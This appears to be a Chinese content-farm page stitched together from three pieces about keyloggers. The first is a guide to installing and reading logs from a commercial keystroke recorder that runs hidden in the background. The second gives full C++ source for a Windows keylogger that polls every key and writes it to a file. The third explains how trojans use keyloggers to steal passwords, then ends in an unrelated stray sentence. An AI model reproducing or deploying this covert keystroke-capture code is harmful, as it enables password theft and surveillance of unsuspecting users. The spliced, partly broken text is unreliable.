61阅读

键盘记录器-键盘记录器怎么使用

发布时间:2018-02-26 所属栏目:C++

一 : 键盘记录器怎么使用

[键盘记录]键盘记录器怎么使用——简介
键盘记录器是指能够记录本机电脑上键盘输入的软件,包括中文,英文及标点符号的输入。很多朋友在网上下载了键盘记录软件后,却不知道如何使用。下面以楼月键盘屏幕全记录为例,介绍键盘记录器怎么使用,如何安装,怎么样卸载等。
[键盘记录]键盘记录器怎么使用——知识点
楼月键盘屏幕全记录[键盘记录]键盘记录器怎么使用——详细知识

[键盘记录]键盘记录器怎么使用 一
在百度上搜索并下载安装“楼月键盘屏幕全记录”软件,下载完成后,双击进行安装。软件安装完成后,界面如下图所示:
键盘记录 键盘记录器怎么使用
[键盘记录]键盘记录器怎么使用 二
直接点击确定按钮,让软件进入后台监控状态。

[键盘记录]键盘记录器怎么使用 三
当自己再次使用软件时,按热键Alt+K调出软件,点击下图红框中的“查看”按钮,打开键盘记录保存路径进行查看即可。(另外您也可以直接进入键盘记录保存目录进行查看,在本例中为直接进入“C:UsersxiaokaiDocumentslogs”进行查看)
键盘记录 键盘记录器怎么使用
[键盘记录]键盘记录器怎么使用 四
在键盘记录保存目录下,可以看到一个以当天日期命名的文本文档,在该文档中就记录了所有该天的键盘输入,双击打开进行查看即可。下面两个图片表示在10月30日有人使用本台电脑,与一名为小军的网友,在22点56分35秒输入了“昨天你什么时候到家的?”的键盘输入。
键盘记录 键盘记录器怎么使用键盘记录 键盘记录器怎么使用
[键盘记录]键盘记录器怎么使用 五
如果不再想使用该键盘记录器软件,只需再次按热键Alt+K调出软件,然后点击软件界面右下角的“卸载软件”,然后依次点击“是”按钮即可。
键盘记录 键盘记录器怎么使用

二 : C++实现键盘记录器v1.0

首先,我是也是借鉴别人的源码来学习的。因为如果还是按照从头开始看VC++来做的话肯定是来不及的,那我就直接去分析看懂别的人的代码,从中学习并且自己再重新实现一遍,再做些改进。

先来介绍一下所用到的API:

1、fstream这是一个C++处理文件的一个类,里面有很多关于文件处理的函数。定义这个对象就能够使用其中很多的成员方法。

2、GetAsyncKeyState:

函数GetAsyncKeyState确定在调用它时某个按键处于弹起还是按下的,以及此按键是否在上一次调用GetAsyncKeyState之后(“又”)按下过(重复也算按下)。
如果函数成功,则返回值指定此按键自上次上次调用GetAsyncKeyState后是否按下过,以及此按键当前是弹起的还是按下的。如果最高比特位被设置(就是被设为1),此按键就是按下的,并且没有弹起,如果最低位被设置,则此按键在上次调用GetAsyncKeyState之后(“又”)被按下过。但是你不应该依赖于之前的(按键)行为
3、GetKeyState

以一个虚拟键位参数,返回这个虚拟键的状态,是按下还是弹起,抑或是像大写锁定键这样的按键的具体触发状态。

若高序位为1,则键处于DOWN状态,否则为UP状态。

若低序位为1,则键被触发。例如CAPS LOCK键,被找开时将被触发。若低序位置为0,则键被关闭,且不被触发。触发键在键盘上的指示灯,当键被触发时即亮,键不被触发时即灭。

具体检查这些状态的时候都需要用位运算的形式才计算。

接下来是具体的代码,注释我应该写的很清楚

#include#include#include#include#include#include#includeusing namespace std;const int KeyBoardValue = 0x80000000;string GetKeyName(int);bool JudgeShift();

#include"Main.h"int main(){string FileName = "F:\\recover\\2014.7-2015.1\\Keyborad\\log.txt";string KeyName = "";fstream FileStream;FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);while(1){Sleep(5);for(int i = 8; i<= 255; i++){if(GetAsyncKeyState(i)&1 == 1) //判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过{KeyName = GetKeyName(i);FileStream.write(KeyName.c_str(), KeyName.size());FileStream.close(); //写完一次就保存一次FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);}}}return 0;}string GetKeyName(int NumKey){bool IS_SHIFT = JudgeShift();string revalue = "";//判断键盘中间的特殊符号if(NumKey>= 186 && NumKey<= 222)switch(NumKey){case 186:if(IS_SHIFT) revalue = ":";else revalue = ";";break;case 187:if(IS_SHIFT) revalue = "+";else revalue = "=";break;case 188:if(IS_SHIFT) revalue = "<";else revalue = ",";break;case 189:if(IS_SHIFT) revalue = "_";else revalue = "-";break;case 190:if(IS_SHIFT) revalue = ">";else revalue = ".";break;case 191:if(IS_SHIFT) revalue = "?";else revalue = "/";break;case 192:if(IS_SHIFT) revalue = "~";else revalue = "`";break;case 219:if(IS_SHIFT) revalue = "{";else revalue = "[";break;case 220:if(IS_SHIFT) revalue = "|";else revalue = "\\";break;case 221:if(IS_SHIFT)revalue = "}";elserevalue = "]";break;case 222:if(IS_SHIFT)revalue = &#39;"&#39;;elserevalue = ",";default:revalue = "error";break;}if (NumKey == VK_ESCAPE) // 退出revalue = "[Esc]";else if (NumKey == VK_F1) // F1至F12revalue = "[F1]";else if (NumKey == VK_F2)revalue = "[F2]";else if (NumKey == VK_F3)revalue = "[F3]";else if (NumKey == VK_F4)revalue = "[F4]";else if (NumKey == VK_F5)revalue = "[F5]";else if (NumKey == VK_F6)revalue = "[F6]";else if (NumKey == VK_F7)revalue = "[F7]";else if (NumKey == VK_F8)revalue = "[F8]";else if (NumKey == VK_F9)revalue = "[F9]";else if (NumKey == VK_F10)revalue = "[F10]";else if (NumKey == VK_F11)revalue = "[F11]";else if (NumKey == VK_F12)revalue = "[F12]";else if (NumKey == VK_SNAPSHOT) // 打印屏幕revalue = "[PrScrn]";else if (NumKey == VK_SCROLL) // 滚动锁定revalue = "[Scroll Lock]";else if (NumKey == VK_PAUSE) // 暂停、中断revalue = "[Pause]";else if (NumKey == VK_CAPITAL) // 大写锁定revalue = "[Caps Lock]";else if (NumKey == 8) //<- 回格键revalue = "[Backspace]";else if (NumKey == VK_RETURN) // 回车键、换行revalue = "[Enter]\n";else if (NumKey == VK_SPACE) // 空格revalue = " ";else if (NumKey == VK_TAB) // 制表键revalue = "[Tab]";else if (NumKey == VK_LCONTROL) // 左控制键revalue = "[Ctrl]";else if (NumKey == VK_RCONTROL) // 右控制键revalue = "[CTRL]";else if (NumKey == VK_LMENU) // 左换档键revalue = "[Alt]";else if (NumKey == VK_LMENU) // 右换档键revalue = "[ALT]";else if (NumKey == VK_LWIN) // 右 WINDOWS 键revalue = "[Win]";else if (NumKey == VK_RWIN) // 右 WINDOWS 键revalue = "[WIN]";else if (NumKey == VK_APPS) // 键盘上 右键revalue = "右键";else if (NumKey == VK_INSERT) // 插入revalue = "[Insert]";else if (NumKey == VK_DELETE) // 删除revalue = "[Delete]";else if (NumKey == VK_HOME) // 起始revalue = "[Home]";else if (NumKey == VK_END) // 结束revalue = "[End]";else if (NumKey == VK_PRIOR) // 上一页revalue = "[PgUp]";else if (NumKey == VK_NEXT) // 下一页revalue = "[PgDown]";// 不常用的几个键:一般键盘没有else if (NumKey == VK_CANCEL) // Cancelrevalue = "[Cancel]";else if (NumKey == VK_CLEAR) // Clearrevalue = "[Clear]";else if (NumKey == VK_SELECT) //Selectrevalue = "[Select]";else if (NumKey == VK_PRINT) //Printrevalue = "[Print]";else if (NumKey == VK_EXECUTE) //Executerevalue = "[Execute]";//----------------------------------------//else if (NumKey == VK_LEFT) //上、下、左、右键revalue = "[←]";else if (NumKey == VK_RIGHT)revalue = "[→]";else if (NumKey == VK_UP)revalue = "[↑]";else if (NumKey == VK_DOWN)revalue = "[↓]";else if (NumKey == VK_NUMLOCK)//小键盘数码锁定revalue = "[NumLock]";else if (NumKey == VK_ADD) // 加、减、乘、除revalue = "+";else if (NumKey == VK_SUBTRACT)revalue = "-";else if (NumKey == VK_MULTIPLY)revalue = "*";else if (NumKey == VK_DIVIDE)revalue = "/";else if (NumKey == 190 || NumKey == 110) // 小键盘 . 及键盘 .revalue = ".";//小键盘数字键:0-9else if (NumKey == VK_NUMPAD0)revalue = "0";else if (NumKey == VK_NUMPAD1)revalue = "1";else if (NumKey == VK_NUMPAD2)revalue = "2";else if (NumKey == VK_NUMPAD3)revalue = "3";else if (NumKey == VK_NUMPAD4)revalue = "4";else if (NumKey == VK_NUMPAD5)revalue = "5";else if (NumKey == VK_NUMPAD6)revalue = "6";else if (NumKey == VK_NUMPAD7)revalue = "7";else if (NumKey == VK_NUMPAD8)revalue = "8";else if (NumKey == VK_NUMPAD9)revalue = "9";//----------------------------上述代码判断键盘上除了字母之外的功能键--------------------------------//else if(NumKey>=65 && NumKey

扩展:键盘记录器v7.1 / 万能键盘记录器 9.0 / c 键盘记录器代码

<= 90){if(GetKeyState(VK_CAPITAL)){if(IS_SHIFT)revalue = NumKey + 32;elserevalue = NumKey;}else{if(IS_SHIFT)revalue = NumKey;elserevalue = NumKey + 32;}}//---------------------------上面的部分判断键盘上的字母----------------------------------------------//else if(NumKey>= 48 && NumKey<= 57){if(IS_SHIFT){switch (NumKey){case 48:revalue = ")";break;case 49:revalue = "!";break;case 50:revalue = "@";break;case 51:revalue = "#";break;case 52:revalue = "$";break;case 53:revalue = "%";break;case 54:revalue = "^";break;case 55:revalue = "&";break;case 56:revalue = "*";break;case 57:revalue = "(";break;}}else{switch (NumKey){case 48:revalue = "0";break;case 49:revalue = "1";break;case 50:revalue = "2";break;case 51:revalue = "3";break;case 52:revalue = "4";break;case 53:revalue = "5";break;case 54:revalue = "6";break;case 55:revalue = "7";break;case 56:revalue = "8";break;case 57:revalue = "9";break;}}}return revalue;}bool JudgeShift(){int iShift=GetKeyState(0x10); //判断Shift键状态bool IS=(iShift & KeyBoardValue)==KeyBoardValue; //表示按下Shift键if(IS)return 1;elsereturn 0;}

基本上实现了键盘出了HOME键那部分所有的按键记录,这只是先实现一下最基本的功能,后续的版本应该还有把输入的窗口的名字获取到,时间,内容,还有一些组合键都会涉及到。

扩展:键盘记录器v7.1 / 万能键盘记录器 9.0 / c 键盘记录器代码

三 : 键盘记录器

大家都知道现在木马相当猖獗,其中以盗窃用户QQ帐号密码、网游帐号密码、甚至是网银账户密码的盗号木马最为猖獗。(www.61k.com)这类木马都有一个共同性就是都自带了一个叫做键盘记录器的组件,正是键盘记录器的组件完成了这些木马盗号的核心工作——获得密码帐号,再由木马的发送功能将这些帐号密码信息发送给黑客。那么什么才是键盘记录器呢?其能记录我们帐号密码的原理是什么呢?

其实键盘记录器就是一个驻存在内存的一个内存监控程序,用户敲击键盘的每一个按键都会存在内存中的一个特定地址区域(键盘缓冲区),用队列的形式将其存放在内存中,然后按着敲击顺序再输入到系统中(这一点用户可以在有时CPU占用100%机器反应很慢时打字可以看出来)。而键盘记录器正是一个在内存中读取这些存放在键盘缓冲区数据,并记录的一个工具。

以前有网友在网上发帖称在输入帐号和密码时打乱他们的输入顺序,比如你要输入的号码为:2986531 ,我们输入时先输入531接着再移动光标到531前再输入2986,就可避免自己的密码和帐号被键盘记录器所记录,其实这种方法并不能有效的预防键盘记录器,现在的键盘记录器都具读取整个键盘缓冲区的能力,他能将你的所有输入包括光标移动都进行记录,通过记录就能还原出你输入的真实数字。

真正要预防键盘记录器一定要使用一些专业工具,比如360保险箱,金山密保等软件来保护你要输入密码的文件防止键盘记录器进行监控。另外你也可以使用QQ等自带的软键盘进行输入,这些都是能有效避免键盘记录器的好办法。出现大量的相关漏洞攻击软件和利用该0day(零日)漏洞传播或破坏的病毒和木马。前面所说的IE70day漏洞之所以没夸张成“数亿网民的定时炸弹”原因就在于此。

61阅读请您转载分享:

本文标题:键盘记录器-键盘记录器怎么使用
本文地址: http://www.61k.com/1146148.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1